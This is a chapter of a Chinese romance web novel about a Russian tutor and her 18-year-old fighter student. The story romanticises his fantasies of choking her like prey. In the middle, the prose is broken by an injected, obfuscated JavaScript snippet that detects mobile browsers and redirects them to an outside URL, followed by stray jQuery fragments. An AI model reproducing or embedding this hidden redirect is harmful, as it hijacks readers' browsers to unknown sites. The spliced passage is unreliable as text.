燕棠感觉自己的脸在发烫。
她的双臂真的有在发力，但越用力，就越像是用手臂在蹭宋郁的颈项。
手肘内侧正贴着他的咽喉，燕棠感觉到那里的喉结微微滑动，随即是一声轻笑。
她的耳朵都红透了，双臂迅速松开了宋郁，连忙说“不好意思”。
宋郁笑着起身，“没关系，你需要先进行力量训练，力气太小了，肌肉缺乏力量。”
他走到燕棠身后，让她坐下，“你可以感受一下我的发力部位。”
燕棠还没反应过来，就被他单手锁在了怀里。
纤细的脖颈被结实的肌肉紧裹，肩胛骨紧紧贴在身后人的胸肌上。
她觉得自己好像听到了宋郁沉稳的心跳，但还来不及思索，一股强劲得惊人的力道便挤压着她的咽喉和动脉，根植于生物本能的恐惧在这一刻涌上大脑。
燕棠听见自己发出了一声惊恐的低吟。
低到近乎不可闻。
也就在这时，那可怕的力道瞬间卸下。
危险浅浅略过，像猛兽伸出利爪轻巧地逗弄了一番，又慢悠悠地收了回去。
眩晕和窒息还未到来，肾上腺素已被危险刺激得飙升，心脏在前所未有地剧烈跳动，一种从未体验过的，奇异的刺激感冲撞着燕棠的神经。
她还迟迟未反应过来，靠在身后人的怀中没动。
一道有力的手掌托住了她的后背轻轻拍着，清朗的声音在耳边响起。
宋郁安抚她：“放松，没事的。”
他的目光却落在她颈项间的红痕上。
根本就没用力，竟然就把她的皮肤勒红了。
真脆弱。
他心里这么想着，便放轻了声音：“老师，是不是吓到你了？”
其他人也安慰她：“放心，他刚才只用了一点点力气，不会像超子那样晕过去的。”
还只是一点点力气？
那宋郁使尽全力该有多可怕啊.......
被他扶起来的时候，燕棠下意识看向他的手臂。
放松状态下的小臂肌肉十分紧实，掌宽指长，指骨分明，覆有明显的茧块，惊人的力量感。
燕棠诚实道：“被你勒住的时候很害怕，但现在回过神来的时候又觉得挺刺激的。”
“格斗就是很刺激，老师如果感兴趣，我可以经常带你玩儿。”
那还是不了，心脏有些受不了。燕棠默默想。
教练唐齐走了过来，宣布今天的训练结束，可以回去休息了。
虽然燕棠是宋郁的翻译兼老师，但俱乐部的成员们热情地将她拉入了微信群，还在训练后拉着她和宋郁一起聚餐。
去的是家日料店，在胡同里，窄小的对开红门后别有洞天，松竹白沙，苔藓灰岩。
燕棠是个慢热的人，社交圈一直很窄，上中学时只有一两个玩得亲近的朋友，到大学后也是如此。
但这些选手们，包括被他们戏称为大小姐的唐蕊心在内，性格都相当自来熟。七八个人围坐在隔音的包厢里吃饭，愣是吃出了二三十个人的热闹。
他们吃的食物也很讲究，得低碳高蛋白，成分干净，少配料。唯二不忌口的就是燕棠和唐蕊心，两人一人一碗奶酪芝士瀑布土豆泥，所有人都对着她俩的碗流哈喇子。
除了宋郁。
“这小子简直是天选格斗士。”
教练唐齐指着宋郁碗里的生牛肉说，“其他人是不得不这么吃，只有他自己是爱吃。”
他碗里的生牛肉条细如丝，鲜红色，视觉冲击感极强。
“是甜的。”宋郁笑着说，还推荐燕棠也尝尝。
燕棠倒是吃过刺身，但没吃过这样的生牛肉，觉得这也太原始了。
但偏偏她耳根子软，在宋郁热心推荐之下，给面子地夹了一小条生肉放进嘴里。
略凉，软的，牙齿碾过肉的纤维让她有点儿头皮发麻。
不难吃，也说不上好吃。
常识中对生肉的抗拒让燕棠微微皱眉。
宋郁看着她细细咀嚼，勉强咽下。
她的唇瓣沾上了淡淡的血迹，原本有些缺乏神采的面孔鲜活起来，就像刚才在训练台上一样。
他没有提醒她擦去那一点血渍，而是之前那样静静地、心情愉悦地观赏着。
当这一天结束的时候，燕棠也快要累晕了，在回去的路上直接睡着，车抵达校门口的时候还是宋郁把她叫醒的。
“今天辛苦老师了，效果很好。”
在下车的时候，宋郁很绅士地扶住了她的手臂。
冷风一吹，燕棠清醒不少，对他说：“你才是辛苦，回去好好休息。”
她这一整天还只是动嘴说话，可宋郁却是实打实地在做体能训练、开复盘会议、和其他选手进行对战。
现在他精神头儿还这么好，只能说十八岁的男孩儿在各方面都是钻石品质。
而且燕棠今天过得还挺开心的。
今天的工作很顺利，还结识了一群开朗的人。这些新鲜的东西注入她身体里，让她原本萎靡不振的精神有了一丝难得的活力。
但不知道为什么，她遇到的好事总持续不过三分钟。
“燕棠！”
校门内走出来一个人，还是西装外套黑色羽绒服，一路小跑到她面前。
杨一舟拉住她，“你怎么这么晚还在外面？”
他迅速注意到了燕棠身边的人，猛地愣了一下，不敢置信地问：“你和这个人是什么关系？你们两个认识？”
燕棠刚才还在和宋郁说话，两人挨得近，车门还开着，显然她是刚从车上下来。
那天杨一舟还以为这个老外只是偶然路过多管闲事罢了，他承认那天说话声音大了点儿，动作也有点令人误解。
但如果燕棠认识这个人，情况就不一样了。
他们俩家里还在努力撮合呢，她跟别人搅和在一起算什么？
“是我辅导补习的学生。”燕棠冷淡地说，“你来这里干什么？”
杨一舟的脸色这才迅速缓和，“你姑姑说联系不上你，怕你出事，让我来看看你。”
刚才吃饭的时候一直没看手机，燕棠这会儿点开微信一看，姑姑确实发了几条消息给她，问她什么时候有空，要带她跟杨一舟和他爸妈吃个饭。
她迟迟没回，姑姑说小杨担心你，去找你了，多好的孩子，要珍惜。
“我不是说了不想再见了吗。”燕棠皱眉。
“这是我们两家的事情，你因为那一点点事情就闹成这样，你让你爸妈和姑姑怎么办？你让我爸妈怎么想？”
杨一舟耐心也即将告罄。
“而且我说的有错吗？哪个有出息的人会在这个关键的时候去做收银员、给人补习这种乱七八糟的事情？多找找工作吧，真的是为你好。”
燕棠已经跟父母和姑姑表达过自己不喜欢杨一舟。他们问原因，她说杨一舟瞧不起她，他们让她别太敏感，瞧不起她哪会愿意和她相亲呢。
再处处，那是个不错的孩子。这是家人的建议。
爸妈思量再三，觉得燕棠很难在找到一个这种经济条件和工作能力的对象了，趁还没有真正步入社会，最好赶紧定下来，不要在细枝末节上纠结。
人生又一件大事完成，家里人也好放心。
冷风吹来，像刀子一样，割在她脸上，眼中，心头。
燕棠这才想起宋郁还没走，一抬头，发现他靠在车边看着，投来和上次一样的打量般的目光。
她心里又多生出几分窘迫。
人家年纪还小，她又是他的老师，让他看两遍这种滑稽的闹剧，实在是很不合适。
“你快回去吧。”燕棠说，“我会把今天的中文材料整理好发给你。”
宋郁能听懂的对话不多，目光一直落在她脸上。
那张在车上还红扑扑的脸，又渐渐被寒冷的空气浸得苍白。
又是那种可怜兮兮的表情。
从小到大，他经常能看见和燕棠脸上类似的神情。
在森林里狩猎时，那神情出现在垂死的猎物上。在八角笼里比赛时，那神情出现在他的对手脸上。
只要再多射出一颗子弹，再多击出一拳，就可以彻底将其从精神到身体彻底击垮。
欣赏这样的表情，是宋郁作为优胜者的乐趣之一。
尤其是当这种神情出现在燕棠脸上，他感觉到一种奇异的，可怜的美。
“需要我帮你把他赶走吗？”他用俄语问她。
燕棠微微一怔，“不用”两个字卡在喉咙中，迟迟没有吐出来。
她和宋郁对上视线，那双漂亮的眼睛，在黑夜里变成深沉剔透的金棕色。
燕棠想起佩列斯拉夫尔-扎列斯基那一片陷在如落日余晖的苏格兰松，那种绚烂的金调曾让习惯了置身于灰暗中的她感到眩晕。
“.......是的，请帮我把他赶走。”她听见自己这么说。
“不是，你们在说什么？原来这是个毛子啊。”
杨一舟知道燕棠学的是俄语，有些烦躁地要拉住她，“我们再谈谈。”
这时，宋郁走过来将她拉到身后。
一米九几的个子有着令人胆寒的压迫感。他还什么都没说，杨一舟就吓得退后了两步。
燕棠觉得有些滑稽，突然乐了。
她离得稍微有点儿远，只看见宋郁对杨一舟说了两句话，杨一舟就变了脸色，扭头匆忙离开。
“你跟他说了什么？”她问宋郁。
“没什么，他不会来找你了。”
“谢谢你。”燕棠感激地说，“不好意思，麻烦你了。”
宋郁垂眸看着她，目光扫过她重新舒展的眉眼，随即她的脖颈上。颈侧那道红痕还迟迟未消去。
他伸手到燕棠身后，将她的羽绒服帽子拎起罩住她的脑袋。
“老师回去休息吧，你快被冻坏了。回去之后用毛巾冷敷一下脖子，免得出现肿胀。如果还不舒服要及时告诉我。”
少年人的声音清冽，俄语如丝绒般悦耳。
燕棠走进校门的时候又回头看了一眼，看见宋郁还姿态闲散地靠在车边，见她看过来还笑着招了招手，直到她走远了才上车离开。
手机微信很快收到一条他发来的消息。
「老师晚安。」
「小熊比心.jpg」
真不错，写的竟然是中文。
燕棠心情莫名轻快，大概是当老师的成就感吧。
「晚安，早点休息。」
她不会想到，这条简单的回复被宋郁看了很久。
窗外的夜幕低垂，树影飘摇，淡薄的月光漏进室内，裹着床上少年人修长的身体。
他回忆起下午那场短暂的接触。
纤细的骨骼，柔软的皮肤。
从小到大，宋郁见过很多女孩子。
她们总说：Kirill，我喜欢你。
每当这时，他只好说：可我不喜欢你。
有的人还会说：Kirill，我想和你上床。
他也只能告诉她们：可我不想和你上床。
当他这么回答的时候，有的女孩儿会骂他混蛋，有的会哭着问他为什么。
不为什么。
他对这个话题不感兴趣。
可现在，宋郁忽然想再一次扼住那个女孩儿的脖颈，看她真的像猎物一样被绞进他的怀中，大睁的眼睛泛着水光，脸颊弥漫上动人的嫣红。
他会不留余地发力，心跳为她而鼓噪。
而她脆弱的身体会在他怀里无力挣扎，喉中再一次发出濒死的呜咽，像他曾经杀死的猎物一样，为他的胜利而哀鸣着。
就在这一瞬间，那想象的画面忽然扭转。
他被两条嫩生生的手臂环绕着脖颈。
她的手臂是柔软的，胸口的起伏抵着他的后背，隔着单薄的衣服，他想象得到底下那件贴身衣物的质感。
凌晨四点多，宋郁从他人生第一个春梦中醒来，被单沾上腥气。
性.幻想对象，是他的中文老师。
*
第二天，燕棠怒气冲冲地起床。
杨一舟果然跟她家里告状了。说他伺候不了燕棠这样的性格。
大概是在杨一舟父母那里闹得不愉快，燕棠也被爸妈说了几句，他们让她至少去道个歉，免得之后两家碰见闹得太不好看。
燕棠装作没看见，注意力转移到工作上。
她发现这个工作要比她设想的更困难一些。
宋郁的日程实在是太满了。
他一周有两天要在大学里上预科课程，剩余时间都在进行训练，早上七点半开始，直到晚上六七点才结束。所以能够用来学习的时间只有睡前那两三个小时。
燕棠自己的语言学习经验是很笨拙的，就是苦练苦背，连睡觉都会在耳机里放录音。但宋郁的睡眠质量非常重要，否则不足以支撑他白天里高强度的日程。
于是周末两天的补习课程就显得尤其关键。
这一周内，除了陪同宋郁上课的时间外，燕棠都在重新制作教学方案，终于赶在周五前准备好。
周六吃过午饭后出发，她带着满满当当的准备成果赶到了宋郁家里。
抵达的时候，距离约定时间还有二十多分钟，宋郁还没到家，她倒是先见到了娜斯佳。
这是燕棠第一次真正和娜斯佳见面，心里连连惊叹：
她好高啊，她的脸好小啊，她的金发好像绸缎啊。
就算是在斯拉夫人中，面部和身材比例完美的美人也是少见的。娜斯佳无疑是美人中的美人，即便已经有了四十多岁，但身上充满了活力，和二十来岁没什么区别。
难怪宋郁长得那么好，就连照片里那个她没见过的宋郁他哥也像个洋娃娃似的。
“我刚从上海回来，也还没有见到Kirill呢。”娜斯佳相当热情地拉着燕棠喝茶，“和他相处顺利吗？”
听燕棠说宋郁很配合，很好相处的时候，娜斯佳竟然还有一点惊讶。
“看来他很喜欢你。”
“嗯？”燕棠有些疑惑她为什么会这么想。
“实不相瞒，我为了管教他而花的精力要远超过我的大儿子。”
娜斯佳端着陶瓷茶杯，微微一笑，然后指着一侧的相框说，“他是个胜负欲很强的孩子，以前跟他的哥哥救下了只山雀，甚至会因为那只山雀更亲近他的哥哥而生气。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868959|159377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
燕棠顺着她的指向看过去，照片上两个模样相像的男孩都看着桌面上的一只小鸟，背脊是蓝羽，肚皮洁白，莫名有些眼熟。
娜斯佳又开口了：“如果你遇到了什么麻烦可以跟我说，别让他欺负你。”
大门在这时被打开，是宋郁回来了。
娜斯佳很久没见儿子，起身走过去给他一个大大的拥抱，又是叫“медвежонок”又是叫“honey bear”。
宋郁似乎是想要躲开娜斯佳的手，却还是被亲妈掐住了脸。
他眉头鼻尖都皱起，强忍着不情愿。
“还怪可爱的。”燕棠小声嘟囔了一句。
她在书房刚坐下拿出笔记本，宋郁也进了书房，拉开旁边的椅子坐下，拿起笔转了几圈，冷不丁说了句：“我听见了。”
燕棠茫然抬头，“什么？”
他撑着脸朝她笑：“你刚才夸我‘可爱’。”
这小子最近总是对她笑，笑容太有迷惑性，很晃眼。
他怕是让很多女孩子伤过心吧。
燕棠正这么想着，手中抽出今天准备讲的资料，目光无意间一瞥，忽然注意到窗台那只小鸟标本。
她发现那只标本和刚才照片上那只小鸟一模一样，“那是你和你哥哥捡到那只山雀？”
“是的，就是那一只。”
宋郁坦然承认，“我很喜欢它，但它只亲近我哥哥，所以我把它做成标本了。”
见她脸上露出震惊的表情，宋郁才笑着补充：“在它去世以后，你是不是把我想得太残忍了？”
燕棠长长舒了口气，“我差点儿以为你的喜好很特别。”
“如果就是像你想的那样呢？”
“那是不对的。”燕棠说，“喜欢不应该是伤害，而应该是希望对方好。”
宋郁注视着她，感觉她似乎陷入了某种回忆。
“你是从那天的男人身上学到的吗？”
燕棠意识到他说的是杨一舟，迅速否认。
“是另一个男人？”
她没吱声。
“那是个什么样的人？”宋郁继续问。
燕棠按了下打开笔盖，准备终止这个话题：“小朋友不要多问，该开始学习了。”
“我不是小朋友，我已经成年了。”
“十八岁在我眼里就是小朋友。”
宋郁长腿一伸，带动椅子滚轮往她身边挪，两人的距离无限拉近，他又问：“既然你不喜欢那天的男人，为什么又要和他在一起？”
“他不是我男朋友。”
燕棠跟他解释了相亲的事情，“我的家人希望我尽快结婚。”
宋郁微微皱眉，“为什么？”
“因为他们觉得我目前的人生没有别的可能了。”
这是个出乎意料的答案。
宋郁凝视着面前的人。
她低着头，眼皮半垂着，睫毛像帘子般掩藏着眼中的神色。
平淡得有些麻木的神态。
在片刻的安静后，宋郁忽然伸手，指尖触及她的脸颊。
——暖的，滑的，像牛奶一样，像梦里一样。
他使力捏住。
燕棠疼得跳了起来。
那张麻木的脸变得生动，白皙的脸颊泛起了一片鲜活的嫣红。
她没忍住，瞪了他一眼，“你干嘛？”
“抱歉，老师。”宋郁眼里含笑，“突然想这么做。”
见她满眼泪汪汪，他说：“那给你掐回来好了。”
燕棠想起之前娜斯佳捏他脸蛋的样子，确实有些手痒，没忍住上手，往他脸颊一掐——
她微微睁大眼睛，呼吸一滞。
他他他他他！
他的脸好软啊！！！！
宋郁任由她捏着，忽然又问：“老师你也是这么想的吗？”
“嗯？”
“你也像你的家人那样想吗？觉得自己的人生就是这样了？”
燕棠怔了下，收回手，不知道该如何回答。
空气安静片刻，她忽然听宋郁字正腔圆地吐出两个中文：“傻逼。”
“你说什么？”燕棠茫然抬头。
宋郁支着下颌看着她，说：“我说，让你去和那种男人相亲的做法很‘傻逼’，那个男人也很‘傻逼’。”
书桌正对着窗，光线明亮，他的瞳孔从金棕色变成了带金调的碧绿色。
燕棠愣了片刻。
她听说过这种会变色的瞳孔叫做Hazel eyes，世界上只有5%左右的人有这样的眼睛，很稀有，也很漂亮。
她知道为什么娜斯佳要这么叫他了。
比如此刻，他的确很像浸在蜂蜜里的小甜熊。
*
一天的补习结束，回到宿舍的时候，时间已经不早。
但燕棠还不能睡，这就是打两份工的代价。
另一份工作是学院老师郑琦主持的俄文诗集翻译项目，主要是翻译一些中国市场上没有流通的俄罗斯现代诗人作品，分好几册。
她加入得比较晚，稍微有名的诗集都被其他人认领了，只剩下一本叫做《苦月亮》的冷门诗集，和罗曼·波兰斯基导演的那部电影同名，作者是塔季扬娜·利托娃，一个名不见经传的小诗人。
争取翻译名作，自然是要搏一个能出名的机会。但燕棠对此并无所谓，反正运气从来不会优待她。
她只希望好好翻译完这本，别想上次那样拿不到报酬就行了。
刚打开电脑，父母的消息又持续地弹出。
他们并不是强势的人，但生在小城市，总是很注重人情交往，与其说在意燕棠这次相亲失败，不如说是担忧燕棠之后被人说三道四。
燕棠点开和爸妈的对话框，看见里面絮絮叨叨的话，心里忽然升起一种前所未有的冲动。
她抿了抿唇，同意和对方联络。
很快双方就拉了个群，杨一舟也在里面。他父母说话倒还算缓和，但话里话外都在问燕棠是不是对杨一舟有什么偏见，为什么闹得这么不愉快。
燕棠@了杨一舟。
「我不喜欢你，因为你是个傻逼」
「瞧不起诚实劳动的职业又喜欢从别人身上找优越感」
「装瞎子无视我的拒绝」
「还在长辈面前说我的坏话」
「傻逼傻逼傻逼！！！」
她发完这些消息后，长长吐出了一口气，直接使用群主权限解散群聊。
世界一片清净。
到了熄灯时间，宿舍陷入黑暗。
手机屏幕忽然又亮了一下，她以为是父母的消息，瞥过去一看，却发现是宋郁。
「晚安，老师。」
他用中文例行请安。
身边是老旧的对开玻璃格子窗，被外头的风吹得发出摇动的闷响。
窗下的暖气管散着暖烘烘的热气，一路淌进她的心里。
燕棠裹着毯子，开着台灯，在小书桌前，开始翻译着第一首诗。
/我感激渔夫
用冰冷的鱼叉刺穿我
用尖锐的匕首剖开我
在这清澈动人的贝加尔湖畔
品尝我不为人知的鲜美/